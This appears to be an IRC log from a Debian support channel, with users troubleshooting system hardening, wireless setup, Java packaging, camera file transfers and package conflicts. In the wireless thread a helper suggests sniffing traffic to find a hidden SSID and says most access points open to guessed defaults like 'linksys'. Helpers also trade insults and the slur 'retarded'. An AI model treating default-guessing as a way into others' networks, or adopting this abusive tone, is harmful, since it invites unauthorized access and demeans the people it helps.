| 02:21.13 | Artumi | soblue stop making me laugh i'm serious |
| 02:21.28 | asg | Artumi: securely destroy the drives and memory ... and turn it into a plant pot |
| 02:21.43 | Artumi | asg I can't.. if I put plants in there soon my computer will be bugged |
| 02:21.49 | Guerin | heh |
| 02:22.08 | asg | Artumi: true but your dirt-net will be s3kret |
| 02:22.22 | Artumi | ok guys, enough of the rtfm speeches, just was trying to find out what projects and protocols were good to utilize.. |
| 02:22.37 | Artumi | in terms of security.. |
| 02:22.44 | Artumi | asg i dont use dirt-net |
| 02:23.06 | Artumi | I guess It'll be easier to just go back to nt though. |
| 02:23.14 | Guerin | Artumi: so, let's start: what security measures do you understand? |
| 02:23.16 | unlink | keep your system up to date, disable all unneeded services, use strong passwords, limit the ways people can log in... |
| 02:23.23 | Artumi | Guerin I understand rsbac |
| 02:23.37 | Artumi | and some wireless passkeys. 40 bit |
| 02:23.46 | Artumi | oh and i have a vague understanding of shadow passwords |
| 02:23.50 | Guerin | Artumi: heh |
| 02:24.12 | Artumi | Guerin, i'm not used to debian though, i was on gentoo for a long time |
| 02:24.13 | asg | Artumi: if you know how to secure NT, you will probably be more secure than not knowing how to secure Unix. I'd submit that Unix is easier to secure than Windows but that's just my experience. |
| 02:24.29 | Artumi | asg ok, so you think i should use unix instead of debian? |
| 02:24.36 | Guerin | ... |
| 02:24.52 | abrotman | \o/ |
| 02:25.00 | Guerin | you should drink beer instead of guinness, too |
| 02:25.06 | Artumi | no dude i dont drink |
| 02:25.11 | abrotman | start |
| 02:25.12 | Artumi | here even a b52 costs like 8 bucks |
| 02:25.15 | Artumi | on a weeknight |
| 02:25.15 | soblue | lol |
| 02:25.25 | Guerin | that is very reassuring |
| 02:25.35 | Artumi | nah dude, beer's expensive. |
| 02:25.39 | soblue | Artumi: You're missing the point.. Debian is a flavor of Unix.. |
| 02:25.41 | asg | Artumi: Unix is a trademark, unix is a type of operating system, Debian is a linux distribution that is very oddly similar to unix but can't be called Unix because some pricks require you to pay them money to get the Good Housekeeping Seal of Approval. |
| 02:25.45 | abrotman | soblue: not really |
| 02:26.00 | Artumi | asg ok. |
| 02:26.07 | Guerin | strictly speaking, guinness isn't a beer either |
| 02:26.18 | asg | Guerin: it's sentient |
| 02:26.20 | Artumi | asg So If I want a free or gpl or gnu type operating system which is secured.. |
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| 02:26.50 | asg | Artumi: Debian is a good start but it will require knowledge to secure it. |
| 02:26.50 | Artumi | which of those would be most capable to be secured, and would it matter if i used a bsd or linux kernel instead of say freedos, or windows or other, ? |
| 02:27.02 | abrotman | every OS requires knowledge to secure it |
| 02:27.08 | Guerin | wtf |
| 02:27.20 | Artumi | Guerin freedos even supports trunking. |
| 02:27.23 | abrotman | Artumi: and DOS has no security |
| 02:27.33 | Artumi | abrotman i said Freedos, not msdos and not prodos. |
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| 02:27.46 | Artumi | but ok, if it has no security, that leaves windows, linuxes and bsds, |
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| 02:27.59 | abrotman | Artumi: and commercial Unixes |
| 02:28.01 | Guerin | Artumi: you're in #debian. Use #debian. |
| 02:28.16 | Artumi | Guerin ok, but you were telling me that it was easier to secure unix |
| 02:28.20 | Artumi | #you |
| 02:28.22 | asg | Guerin: I'm in #tampoon but that leaves me in an untenable position |
| 02:28.33 | Artumi | asg you are utterly impregnable for 10 days a month |
| 02:29.04 | Guerin | Artumi: no, I told you it was impossible to secure something you didn't understand, and that being the case, you must rely on whatever security measurtes someone else has implemented. |
| 02:29.13 | Artumi | Guerin.. |
| 02:29.29 | abrotman | oh ffs .. we gave him places to start .. let him go read |
| 02:29.44 | Artumi | All I want is a computer that nobody can just walk up to and start using, without first trying to take it apart , and that they can't log onto over an unconfigured net hub. |
| 02:29.58 | Guerin | Artumi: so, we start at the point of you using debian gnu/linux. Of those systems you were on about before (grsec, selinux, bastille and haren-doc), which do you understand? |
| 02:30.02 | Artumi | that doesnt require too much advanced knowhow does it.. |
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| 02:30.18 | abrotman | GHBT |
| 02:30.28 | Artumi | well grsec i used some of with the rsbac |
| 02:30.35 | Artumi | so i guess that'd be the start point for me. |
| 02:30.43 | Guerin | Artumi: good. Now go and read. |
| 02:31.04 | Artumi | Guerin but before i do that, with what you said about other os's.. should i get a different kernel than what i have, ? |
| 02:31.08 | asg | Guerin: thought you said harem-doc above and just blew beer |
| 02:31.29 | Guerin | asg: if you have no compelling reason to do so, why would you cjhange the default? |
| 02:32.31 | Guerin | Artumi: if you have no compelling reason to do so, why would you change the default? |
| 02:32.46 | Artumi | Guerin i find it compelling the thought that the default is too bulky. |
| 02:33.22 | Guerin | Artumi: ok ... you're concerned that the default is too bulky, but you want to implement ALL of grsec, selinux, bastille and harden-doc? |
| 02:33.56 | Artumi | Guerin no i just want to secure a net-less system. |
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| 02:34.20 | Guerin | Artumi: a system without internet access requires *no* software security *whatsoever*. |
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| 02:34.26 | daeos | *pasha* ? |
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| 02:34.41 | Artumi | Guerin i still require a stronger suid bit on programs? |
| 02:34.49 | Guerin | Artumi: why? |
| 02:34.56 | militant | heh, having trouble with this wifi card. it lists in lspci just fine. but i get no signal and no results with kwifimanager or wifi-radar ... |
| 02:35.04 | Artumi | other users at the keyboard, during short periods while i might not be there, ? |
| 02:35.09 | Guerin | Artumi: what will it achieve? (hint: if you don't know, it won't achieve what you want) |
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| 02:35.27 | Artumi | Guerin it will achieve fewer users and programs having the power of a super user ? |
| 02:35.38 | Guerin | Artumi: no, it won't. |
| 02:35.41 | Artumi | as well as permitting me to drop root priveleges for some daemons? |
| 02:35.42 | Artumi | no? |
| 02:35.44 | Artumi | Awe. |
| 02:35.47 | Guerin | no |
| 02:35.48 | Artumi | then i need to do more :( |
| 02:35.54 | Artumi | Guerin i hate computers |
| 02:35.57 | Guerin | because nothing that doesn't need to runs as root in debian anyway |
| 02:36.03 | Artumi | I wish they could do it right the first time around.. |
| 02:36.08 | Guerin | they *do* |
| 02:36.14 | Guerin | the problem is with your brain |
| 02:36.14 | Artumi | Guerin maybe for you |
| 02:36.15 | asg | you just can't afford it |
| 02:36.41 | Artumi | Guerin so i should rely on debian's programs to be 100% secure? |
| 02:36.47 | Artumi | Ok. |
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| 02:37.03 | Guerin | Artumi: do you have any concrete ways in which you could improve said security? |
| 02:37.28 | Guerin | if not, then the answer is `yes'. If so, then you should post your improvements to debian-security@lists.debian.org |
| 02:37.34 | Artumi | Guerin , not unless there's a way to only recognize a mac address for a specific keyboard or hid |
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| 02:37.48 | Artumi | and i dont think they have mac addresses :( |
| 02:37.50 | Guerin | Artumi: wtf? |
| 02:38.03 | Artumi | Guerin um posting to that would require the box to be on the net |
| 02:38.14 | Guerin | Artumi: unless you have another box. |
| 02:38.24 | Guerin | not a great stretch, since you're on one NOW |
| 02:38.25 | Artumi | sigh the whole reason i switched to abinary distro was i got tired of all the constant updates on gentoo |
| 02:38.31 | Guerin | ok |
| 02:38.44 | Artumi | Guerin If it worked right the first time i wouldnt need to update so often .. |
| 02:38.52 | Guerin | the problem here is that you have the gentoo attitude toward computing: that's it's no good unless it's personalised for you |
| 02:39.14 | Artumi | Guerin is it still possible to install slink ? |
| 02:39.14 | Guerin | this is bullshit, and while it might make you feel really cool and 1337, that's about all it does |
| 02:39.24 | Guerin | Artumi: of course, as possible as it ever was. |
| 02:39.35 | Artumi | why isnt it on the us.debian.org ftp site then? |
| 02:39.49 | Guerin | because it's obsolete, and has moved to another site. |
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| 02:39.57 | asg | Artumi: /msg dpkg archives |
| 02:39.59 | Artumi | where does one find a list of obsoleted debians? |
| 02:40.05 | Artumi | ah |
| 02:40.08 | militant | i'm not sure why if i use my other wifi card it finds ap's but with this one it doesn't |
| 02:40.20 | Guerin | militant: neither are we. |
| 02:40.23 | asg | Artumi: however, since they get *no* security updates, they are worthless |
| 02:40.29 | Artumi | asg oh |
| 02:41.11 | Artumi | asg so If all I want is a networkless computer, with x and some open office.. and some nice strong passwords for local users that wont have access inside the case , ? |
| 02:41.21 | Artumi | I won't need a lot of updates from sarge, right? |
| 02:41.22 | militant | Guerin: lol i'm sure. i just mean i don't know if there's anything i need to do other than an lspci to make sure it shows the right card, then ... what? just use kwifimanager and/or wifi-radar? or is there something i need to set? |
| 02:41.29 | Guerin | debian does all this most trivially |
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| 02:41.48 | Artumi | Guerin so i dont even need your hardene-doc and bastille and harem-doc stuff? |
| 02:41.50 | asg | Artumi: or etch, the latest stable release |
| 02:41.50 | Guerin | militant: use iwlist or kismet |
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| 02:42.02 | Artumi | asg sorry i thought potato was most recent stable? |
| 02:42.04 | Artumi | when was etch? |
| 02:42.09 | hailviral | i can't seem to locate make-jpkg |
| 02:42.15 | hailviral | what should that be located |
| 02:42.15 | Guerin | Artumi: no. I know as a gentoo user you must be disappointed that it's so easy, but no. |
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| 02:42.16 | Artumi | wait .. slink, woody, potato .. etch.. sarge? |
| 02:42.17 | hailviral | where* |
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| 02:42.32 | Guerin | hailviral: /msg dpkg java |
| 02:42.35 | abrotman | java-package |
| 02:42.38 | asg | Artumi: slink, potato, woody, sarge, etch |
| 02:42.39 | abrotman | !java-package |
| 02:42.39 | dpkg | rumour has it, java-package is a package in contrib that builds a .deb from a manually downloaded Java distribution (JRE or JDK). http://www.debian-administration.org/?article=142 details how to install Sun's JRE or JDK. To install: apt-get install java-package; get a JRE or JDK from http://java.sun.com/j2se/1.5.0/download.jsp (the Linux (self-extracting file) NOT the RPM) ; fakeroot make-jpkg jre-*-linux-i586.bin; dpkg -i *.deb; |
| 02:42.44 | Artumi | Guerin you can stop blaming me for installing debian, or you can slap yourself on the head with a stick of cold butter until it melts.. :( |
| 02:42.51 | militant | iwlist eth1 scanning gives no results, and only works when i have ifup eth1'd which fails to get a dhcp response (probably because there's no AP specified?) |
| 02:42.59 | Artumi | asg so etch is testing, or stable? |
| 02:43.07 | abrotman | wtf |
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| 02:43.08 | krazykit | Artumi, read the topic. |
| 02:43.09 | asg | Artumi: etch is stable (/topic) |
| 02:43.12 | Artumi | ok |
| 02:43.16 | hailviral | make-jpkg isn't working on my system |
| 02:43.20 | Artumi | ah |
| 02:43.21 | Artumi | lenny. |
| 02:43.33 | Guerin | Artumi: i would recommend you go and do some reading, like you were told. Rather than drooling into your keyboard and getting arsey at people who are trying to save you pointless work. |
| 02:43.36 | hailviral | command not found |
| 02:43.37 | abrotman | hailviral: need more details |
| 02:43.39 | Artumi | maybe i should reinstall with etch then |
| 02:43.43 | Artumi | i had the businesscard debian iso |
| 02:43.44 | abrotman | hailviral: you have to install it |
| 02:43.54 | hailviral | can i use apt-get? |
| 02:43.56 | abrotman | yes |
| 02:44.01 | abrotman | !tell hailviral about contrib |
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| 02:44.26 | hailviral | it says can't find package |
| 02:44.31 | Artumi | mikethec ppc? wow |
| 02:44.57 | hailviral | is this the right way? apt-get install make-jpkg? |
| 02:44.59 | abrotman | hailviral: jesus .. read what the bot told you in /msg |
| 02:45.04 | Guerin | hailviral: no, it isn't |
| 02:45.09 | abrotman | hailviral: aptitude install java-package |
| 02:45.16 | militant | Guerin: ok, once iwlist gives me an AP... then what? |
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| 02:45.19 | Guerin | hailviral: are you reading-impaired? /msg dpkg java-package |
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| 02:45.44 | Guerin | militant: then use iwconfig to change the interface's settings to associate with it |
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| 02:46.54 | hailviral | <PROTECTED> |
| 02:47.03 | Guerin | lose the initial space |
| 02:47.24 | abrotman | wow |
| 02:47.29 | daeos | oooooo |
| 02:47.35 | daeos | yowzers |
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| 02:50.03 | soblue | not sure if anyone from yesterday is here today, but I managed to fix that port forwarding problem I was having |
| 02:50.21 | wols | hailviral: java is in etch |
| 02:50.29 | militant | Guerin: i think i'm stupid. i'm failing to see how iwconfig does anything. i know what it's supposed to do but ... gah i'm half asleep for one. /me sighs |
| 02:50.51 | Guerin | militant: iwconfig eth1 mode managed; might be a start |
| 02:50.51 | wols | !tell hailviral about install java |
| 02:51.03 | Guerin | wols: sun java is in etch nowadays? |
| 02:51.11 | wols | Guerin: yes |
| 02:51.18 | Guerin | wols: in main? |
| 02:51.25 | wols | has ben for a very long time |
| 02:51.28 | wols | of course not! |
| 02:51.40 | wols | contrib or non free |
| 02:51.43 | Guerin | wols: see, that's what I mean ... |
| 02:51.52 | militant | Guerin: ok, did that. no errors or output at all |
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| 02:52.00 | wols | doesn't matter. makje-jpkg is not the right way anymore |
| 02:52.10 | wols | militant: that's a good sign |
| 02:52.13 | Guerin | militant: no news is good news. Now check the card's status with iwconfig eth1; |
| 02:52.13 | abrotman | wols: it's the right way if you want a different version than what is there |
| 02:52.20 | arooni | what is the deiban equivalent of chckconfig |
| 02:52.24 | abrotman | you were already told |
| 02:52.29 | arooni | i know but i cant find it |
| 02:52.31 | Guerin | Artumi: /msg dpkg services |
| 02:52.34 | Guerin | argh |
| 02:52.41 | wols | abrotman: only if you want an old, outdated version |
| 02:52.46 | Guerin | arooni: /msg dpkg services, or red hat tools |
| 02:52.52 | abrotman | wols: uhm .. you can use java-package for newer versions |
| 02:53.04 | abrotman | * Sun Microsystems(TM) 1.4 and 1.5 Standard Edition |
| 02:53.11 | wols | anordby: up to 1.5 |
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| 02:53.13 | abrotman | and i assume the one from sid can do java6 |
| 02:53.23 | abrotman | wols: so what .. java5 is the one in etch anyways |
| 02:53.25 | wols | not according to the apt-cache show blurb |
| 02:53.31 | abrotman | i don't have sid here |
| 02:53.42 | soblue | brb |
| 02:53.44 | Guerin | until the fuckers GPL it properly, It's irtrelevant anyhow |
| 02:53.46 | abrotman | oh .. same veresion in all |
| 02:53.55 | abrotman | someone should update that :) |
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| 02:54.34 | abrotman | there are patches in the bts for java6 support in java-package |
| 02:54.39 | militant | Guerin: it just lists AP: invalid and ... hrrrm. |
| 02:55.23 | Guerin | militant: ok. Progress. Now set essid and/or nwid properly |
| 02:55.29 | wols | militant: set (E(SSID |
| 02:55.36 | wols | preferably via /etc/network/interfaces |
| 02:55.38 | Guerin | militant: what sort of encryption is the AP using? |
| 02:55.42 | militant | thre's no essid, it's "<hidden>" |
| 02:55.49 | Guerin | wols: nah, best to use iwconfig for that too |
| 02:56.04 | militant | and there's no encryption (i'm tryin to use a neighbor's til i get my router replaced tomorrow) |
| 02:56.05 | Guerin | militant: tell the eejit who runs the ap to tell you what it is |
| 02:56.15 | nvz | militant: just because its not broadcasting doesnt mean there isnt one |
| 02:56.21 | Guerin | militant: oh, so you're trying to steal wireless. Classy. |
| 02:56.24 | militant | i know the wifi is accessible. |
| 02:56.32 | militant | it runs fine on my roommate's xp laptop |
| 02:56.38 | militant | no config or anything, it just *goes* |
| 02:56.39 | wols | and tell him that hidden SSID does fuck all for his security. all it does is make life more difficult |
| 02:57.02 | Guerin | militant: to find the ssid you'll probably need to sniff some traffic. |
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| 02:57.24 | Guerin | militant: but since you don't have permission to do this, you can figure it out yourself... or just ask him. |
| 02:57.25 | militant | Guerin: ok, i have a few tools installed for that. something like kismet? |
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| 02:58.27 | daeos | abrotman: i know this question is a bit odd of #debian, but im trying to run a debian package called lsdoom, the libvga version of lxdoom, do you think it would be possible to run a libvga app in ssh console? or would i have to be at the main keyboard |
| 02:58.33 | soblue | okay, I have a question. last time stable was updated (to etch), my sarge system broke because I had it configured to take from stable. how can I make sure that won't happen again (with etch)? |
| 02:58.41 | daeos | of = for* |
| 02:58.43 | abrotman | daeos: i have no idea .. never used it |
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| 02:59.00 | Guerin | soblue: be unambiguous in your sources.list |
| 02:59.00 | abrotman | your local term would at least have to support it |
| 02:59.04 | abrotman | daeos: just try it |
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| 02:59.56 | soblue | Guerin: Okay, that's /etc/sources.list ? |
| 03:00.07 | abrotman | /etc/apt/sources.list |
| 03:00.08 | Guerin | soblue: /etc/apt |
| 03:00.37 | soblue | oh. okay. thanks. I'll go over it now |
| 03:01.23 | daeos | abrotman: i have tried and im getting an error that ... ok i see that i've found the answer.... "You must be the owner of the current console to use svgalib" and also this error "Not running in a graphics capable console," so yeah, i see it now |
| 03:02.10 | soblue | I don't see "stable" anywhere in /etc/apt/sources.list .. only etch. does that mean I'm good? |
| 03:03.07 | Kurtism | shit, how come everytime my box goes into standby or whatever mode that is I loose the keyboard |
| 03:03.19 | abrotman | lose |
| 03:03.23 | Kurtism | ever since I did aptitude distupgrade |
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| 03:03.31 | Guerin | Kurtism: perhaps you ened to put a post-it note someplace reminding you where it is |
| 03:03.44 | Kurtism | lose |
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| 03:04.14 | Kurtism | any ideas? |
| 03:04.36 | Guerin | !any ideas |
| 03:04.36 | dpkg | Yeah, I have an idea! But I'll need a bag full of ground beef, a little vegemite, and 5 or 6 starving kittens. And keep the NSA off my back for the next few minutes! |
| 03:04.43 | Guerin | Kurtism: sounds like some acpi thing to me |
| 03:04.56 | Kurtism | hmmmm |
| 03:04.59 | Guerin | Kurtism: in X, console, or both? Laptop or desktop? |
| 03:05.04 | Kurtism | x |
| 03:05.08 | Kurtism | desktop |
| 03:05.20 | Guerin | do the caps/numlock keys respond? |
| 03:05.21 | mikethec | Vegemite? |
| 03:05.26 | Kurtism | not sure if the consol works or not because I can't get to console |
| 03:05.31 | Guerin | !marmite |
| 03:05.31 | dpkg | rumour has it, marmite is The One True *Mite. |
| 03:05.43 | mikethec | What is it? |
| 03:05.48 | Kurtism | nope they don't |
| 03:05.51 | Guerin | militant: something you can google |
| 03:06.04 | Guerin | Kurtism: wow, that's proper fucked |
| 03:06.37 | Guerin | Kurtism: not sure where to start, other than loking at whatever is putting you into suspend in the frst place |
| 03:07.36 | mikethec | dpkg: What is vegemite, and what is marmite? |
| 03:07.37 | dpkg | mikethec: what are you talking about? |
| 03:07.39 | militant | Guerin: i'm looking and i'm not pulling any ssid info at all, kismet or otherwise. |
| 03:08.04 | Guerin | militant: go and ask your neighbour what his ssid is, then. |
| 03:08.16 | Guerin | mikethec: fgi |
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| 03:08.27 | militant | lol he lets us use his wifi as a backup. but he's not around this weekend. |
| 03:08.34 | hailviral | i got java package installed, when i run it i get,No matching plugin was found,Removing temporary directory: done |
| 03:08.40 | Guerin | militant: not much for it, then. |
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| 03:08.44 | mikethec | fgi? |
| 03:08.46 | JordiGH | Got some issues with copying .avis from my camera to the box. Using Konqueror and whatever backends that entails. Konqui reports that the avis get copied, but they're blank, zero size! |
| 03:08.56 | Guerin | !fgi mikethec marmite |
| 03:08.56 | dpkg | mikethec: http://fuckinggoogleit.com/search?query=marmite |
| 03:09.06 | mikethec | Remember: I'm an American, and I don't know shit. :) |
| 03:09.17 | mikethec | Ah... |
| 03:09.18 | hailviral | and i don't get a deb package out of it |
| 03:09.19 | Guerin | JordiGH: that's retarded. |
| 03:09.30 | JordiGH | dpkg, vegemite is The One True *Mite |
| 03:09.30 | dpkg | ...but vegemite is already something else... |
| 03:09.36 | JordiGH | dpkg, vegemite |
| 03:09.36 | dpkg | i heard vegemite is like sump oil, or http://www.vegemite.com.au/index.cfm?fuseaction=VegemiteDiscovery.welcome, or not marmite |
| 03:09.37 | Guerin | JordiGH: oy. |
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| 03:09.54 | JordiGH | Guerin: What's retarded? Vegemite or my blank avis? |
| 03:10.06 | Kurtism | hmmmm |
| 03:10.06 | Guerin | JordiGH: both, but I was referring to the files. |
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| 03:10.19 | JordiGH | Guerin: And who's retardation is this? |
| 03:10.26 | Guerin | JordiGH: i blame konqueror |
| 03:10.40 | JordiGH | Guerin: You think I'll have better luck with Gnome? |
| 03:10.40 | abrotman | they probably reimplemented cp :) |
| 03:10.41 | Guerin | JordiGH: do they transfer fine when you use cp from the shell? |
| 03:10.49 | Guerin | JordiGH: no, I don't think so. |
| 03:10.57 | Guerin | abrotman: kp! |
| 03:11.17 | JordiGH | Guerin: Uh. I don't even know where my camera is mounted. Konqui says it's in system:/media/camera |
| 03:11.21 | abrotman | JordiGH: are you viewing the file in somehitng ? |
| 03:11.29 | Guerin | JordiGH: try /media/camera |
| 03:11.31 | JordiGH | abrotman: No, I'm trying to copy it. |
| 03:11.34 | JordiGH | Guerin: Not there. |
| 03:11.45 | Guerin | JordiGH: then de-fuxor it and mount it manually |
| 03:11.59 | Guerin | goddamn kde and its meddling ways |
| 03:12.10 | JordiGH | Guerin: Okay... But where is it? It's not recognising it as a usb pendrive. |
| 03:12.18 | Guerin | JordiGH: what camera? |
| 03:12.40 | JordiGH | Guerin: It's a Canon PowerShot A520. Connected with a USB cable to my box. |
| 03:12.46 | Guerin | JordiGH: use gphoto2 |
| 03:13.07 | JordiGH | Guerin: Great. Time to read the manpage? |
| 03:13.12 | Guerin | JordiGH: canon are arseholes for not using perfectly sane generic protocols when broken proprietary ones will do |
| 03:13.21 | Guerin | JordiGH: yeah, sadly |
| 03:13.39 | Guerin | --query might do something |
| 03:14.18 | Rusty1 | the camera does show up in lsusb ? |
| 03:14.37 | Guerin | well, SOME data is coming off it, clearly |
| 03:14.55 | JordiGH | Rusty1: Yeah, looks like it. |
| 03:15.43 | JordiGH | I can get all of the pictures off it. I just can't get some avis with Konqui. |
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| 03:17.07 | JordiGH | In fact, it seems that the only avis I can't get are the ones that are too big. About 18 megs. |
| 03:17.16 | Guerin | ah |
| 03:17.34 | Guerin | perhaps there's some retarded arbitrary filesize limit |
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| 03:17.47 | JordiGH | Work of retards, no doubt. |
| 03:17.51 | dafen | how to force install a package with apt-get? |
| 03:17.55 | Falconious | Is there a sample lilo.conf file anywhere I can examine and modify? |
| 03:18.12 | JordiGH | dafen: You can't force with apt-get. You can force with dpkg. But why do you want to do such a thing? |
| 03:18.14 | abrotman | /usr/share/doc/lilo/ perhaps ? |
| 03:18.19 | dafen | ok |
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| 03:18.25 | dafen | the thing is really frustrating |
| 03:18.32 | dafen | apt-get install debianutils |
| 03:18.44 | dafen | trtying to overwrite /usr/sbin/add-shell |
| 03:18.48 | dafen | which is also in package passwd |
| 03:19.01 | dafen | it prevents me from upgrading the package |
| 03:19.06 | Falconious | abrotman: Good point. I'll try that. |
| 03:19.12 | Guerin | dafen: this is what you get when you use fucked up 3rd-party shit made by morons |
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| 03:19.54 | Falconious | abrotman: Unfortunately, liloconfig doesn't try to configure lilo for me. |
| 03:20.03 | abrotman | uhm .. ok |
| 03:20.07 | dafen | nope, I did aptget upgrade |
| 03:20.10 | dafen | no 3rd party |
| 03:20.23 | Guerin | dafen: what branch of debian? |
| 03:20.29 | dafen | testting |
| 03:20.31 | JordiGH | Oh, easy. gphoto2 --shell drops me into a shell that works remarkably like ftp. |
| 03:20.43 | JordiGH | Looks like Konqui IS to blame. Aww... poor Konqui. :-( |
| 03:20.47 | Guerin | !info debianutils lenny |
| 03:20.50 | dpkg | debianutils: (Miscellaneous utilities specific to Debian), section utils, is required. Version: 2.19 (lenny), Packaged size: 51 kB, Installed size: 276 kB |
| 03:21.06 | Guerin | dafen: man, that's retarded |
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| 03:21.17 | JordiGH | !retarded |
| 03:21.22 | dafen | yep |
| 03:21.27 | JordiGH | dpkg, retarded is Guerin's favourite word. |
| 03:21.27 | dpkg | JordiGH: okay |
| 03:21.28 | Guerin | dafen: you can use dpkg with --force-overwrite; you should file a bug against this package |
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| 03:21.35 | ray0395 | <JordiGH> Guerin: Uh. I don't even know where my camera is mounted. Konqui |
| 03:21.35 | ray0395 | <PROTECTED> |
| 03:21.35 | ray0395 | <abrotman> JordiGH: are you viewing the file in somehitng ? |
| 03:21.44 | Amarande | hmm, when was the last time debian included libstdc++5? |
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| 03:22.18 | Amarande | an apt-cache search for it gives nothing |
| 03:22.23 | Guerin | Amarande: mm, about slink? maybe potato. |
| 03:22.32 | abrotman | !info libstdc++5 sid |
| 03:22.36 | Guerin | look on archive.d.n |
| 03:22.36 | dpkg | libstdc++5: (The GNU Standard C++ Library v3), section libs, is optional. Version: 1:3.3.6-15 (sid), Packaged size: 289 kB, Installed size: 852 kB |
| 03:22.46 | Guerin | huh, it's still in sid |
| 03:23.00 | kritical | I'm a bit of a n00b so forgive me for my n00b question... when I'm logged into the command line as my normal user everything is colour coded.. but when I log in as root everything is the same colour.. is there a way to turn the colour coding on for root? |
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| 03:23.19 | Guerin | kritical: google `bash color howto' |
| 03:23.26 | kritical | Guerin, cheers =) |
| 03:23.28 | JordiGH | kritical: You have to modify root's .bashrc. It's in /root/.bashrc. Look at your own .bashrc in your home directory. |
| 03:23.30 | Guerin | kritical: note misspelling of `colour' |
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| 03:23.48 | JordiGH | Guerin: You're uptight. I like you. You remind me of myself. :-) |
| 03:23.57 | Guerin | JordiGH: screw you, hippy |
| 03:23.58 | abrotman | but he knows stuff |
| 03:23.59 | kritical | Guerin, I'm from New Zealand, we spell Colour exactly like that... only Americans spell it 'Color' |
| 03:24.11 | abrotman | kritical: it doesn't matter .. that's what you have to google for |
| 03:24.22 | Guerin | kritical: yes. Quite. Whereabouts in Nyu Zillun? |
| 03:24.30 | Rusty1 | POHM |
| 03:24.48 | JordiGH | kritical: Basically, you have to alias ls to do ls --color=always. An example of how to do this is in your own .bashrc. Root has its own .bashrc. |
| 03:24.51 | kritical | Ohh I see, sorry I thought I was getting hassled about my spelling! =) |
| 03:24.56 | Guerin | the problem is that the howto is written by people like JordiGH who can't spell |
| 03:25.01 | metbsd | i'm from china, we spell it "yan se" |
| 03:25.12 | abrotman | Guerin: blame bell labs ? |
| 03:25.16 | JordiGH | Guerin: I can spell? In fact, I also use commonwealth spellings. |
| 03:25.24 | Guerin | JordiGH: hell if I know ;) |
| 03:25.34 | kritical | JordiGH, Thanks =) |
| 03:25.57 | JordiGH | kritical: Or ls --color=auto will also work nicely. |
| 03:26.01 | Guerin | yeah |
| 03:26.14 | Guerin | color=always is unwise since it will break some scripts |
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| 03:26.29 | kritical | JordiGH, I don't suppose you know of a work around which will do it for all clients you ssh to as well?... |
| 03:26.30 | Guerin | which are badly-written and rely on the output of ls being a certain format |
| 03:27.18 | JordiGH | kritical: Each time you ssh into a client, you execute another .bashrc (or perhaps a .kshrc or .cshrc if the machine you're sshing into isn't using bash). Each of those needs to be told to colourise. |
| 03:28.21 | kritical | Hmm well all of our servers use bash.. maybe I could write a script which checks each time an ssh session is brought up (checks that the host is *.wxnz.net) and tries to automagically manipulate root's bashrc file?... |
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| 03:28.38 | kritical | Okay now I'm getting in over my head... |
| 03:28.44 | Guerin | kritical: perhaps. But it would be much more work than it would be worth. |
| 03:28.52 | JordiGH | kritical: There may also be environment variables to set in order for colourising to work properly. When I ssh into the local OpenBSD machienes, I have to set TERM to screen (which is done differently in OpenBSD). |
| 03:29.25 | JordiGH | Because OpenBSD likes to use ksh... Since they think bash is evil, because the GPL isn't free enough for them. |
| 03:29.43 | Rusty1 | JordiGH: there is something called kamera, http://www.thekompany.com/projects/gphoto/ , dunno |
| 03:29.45 | JordiGH | But I guess this doesn't apply to you, since everyone over there uses bash. |
| 03:30.02 | kritical | Hmm okay, thanks for your help, I think I understand a bit more about how it works now.. I think I'll need to 'harden up' and live without colour =) |
| 03:30.27 | kritical | Maybe in my spare time one day I'll make it automagic... |
| 03:30.52 | militant | Guerin: i checked on the windows install and it jsut reports the ssid as linksys, no cloaking or anything. uh, huh? |
| 03:31.11 | Guerin | militant: that's the default for crappy linksys routers |
| 03:31.30 | Guerin | i think you can get into most APs by guessing either that or `default' |
| 03:31.32 | JordiGH | Rusty1: Looks like I have kamera installed. No doubt it's what Konqui is using. |
| 03:31.42 | militant | Guerin: right i know, but i don't get why it comes up as hidden when i scan from debian |
| 03:31.59 | Guerin | militant: it may well be that windows has just guessed it |
| 03:32.10 | Guerin | i don't know, never bothered to use wireless on a windows box |
| 03:32.21 | militant | well it is coming from the linksys tray app |
| 03:32.24 | militant | so yeah |
| 03:32.27 | Guerin | oh, indeed |
| 03:32.28 | militant | ok i'll go from here |
| 03:32.55 | Guerin | strangely, all the wireleass APs around me are encrypted |
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| 03:33.27 | Guerin | that would doubtless be untrue down on Lambton Quay |
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| 03:34.28 | mpil | heya |
| 03:34.38 | mpil | is there some apache expert here? |
| 03:34.53 | Guerin | militant: you tend to find those in #apache, as bizarre as that may seem |
| 03:35.02 | Guerin | feckin'ell |
| 03:35.15 | Guerin | a pox on you lot with m nicks |
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| 03:35.28 | militant | <PROTECTED> |
| 03:35.43 | Guerin | militant: set it with iwconfig |
| 03:36.01 | mpil | I have addedd mod_proxy under debian with a2enmod, everything is ok. I did a simple test with /foo redirected to another file and when I use my browser I have an "forbidden" (403) |
| 03:36.02 | Guerin | militant: once you have it working, put all the settings in interfaces |
| 03:36.05 | militant | nah |
| 03:36.09 | militant | it worked the way i did it |
| 03:36.11 | militant | yay :) |
| 03:36.11 | Guerin | militant: ask #apache FFS |
| 03:36.21 | Guerin | mpil: ask #apache FFS |
| 03:36.49 | militant | thanks for your help Guerin. good man |
| 03:36.57 | mpil | FFS? |
| 03:36.59 | mpil | kesako |
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| 03:37.49 | mpil | "you are banned from this channel" (in #apache), I have never been there =) |
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| 03:38.00 | Guerin | mpil: probably your whole host is banned |
| 03:38.11 | Guerin | mpil: so stop using webirc |
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| 03:38.49 | mpil | I don't have choice, I am working for NZ telecom and only http is allowed |
| 03:38.58 | mpil | even a tunnel doesn't work :( |
| 03:39.02 | Guerin | jesus, what is it with NZers all of a sudden |
| 03:39.11 | cmacis | morning all, having a little trouble with sudo at the moment. I'm on the sudoers list and group sudo in kuser but konsole keeps telling me that I don't have permission to use sudo. Any ideas? |
| 03:39.15 | mpil | lol |
| 03:39.22 | mpil | why Guerin? |
| 03:39.28 | Guerin | i have found that NZ employers think there is much to be gained by blocking !http, which is stupid |
| 03:39.29 | mpil | I'm not kiwi anyway, just working here |
| 03:39.39 | Guerin | mpil: you have my condolences, working for telescum. |
| 03:39.51 | mpil | lol |
| 03:40.01 | Guerin | cmacis: #debian-kde might care |
| 03:40.11 | Guerin | cmacis: does sudo work from console? |
| 03:40.25 | cmacis | sudo is working for su but not me |
| 03:40.39 | Guerin | cmacis: then you probably haven't set up sudoers properly |
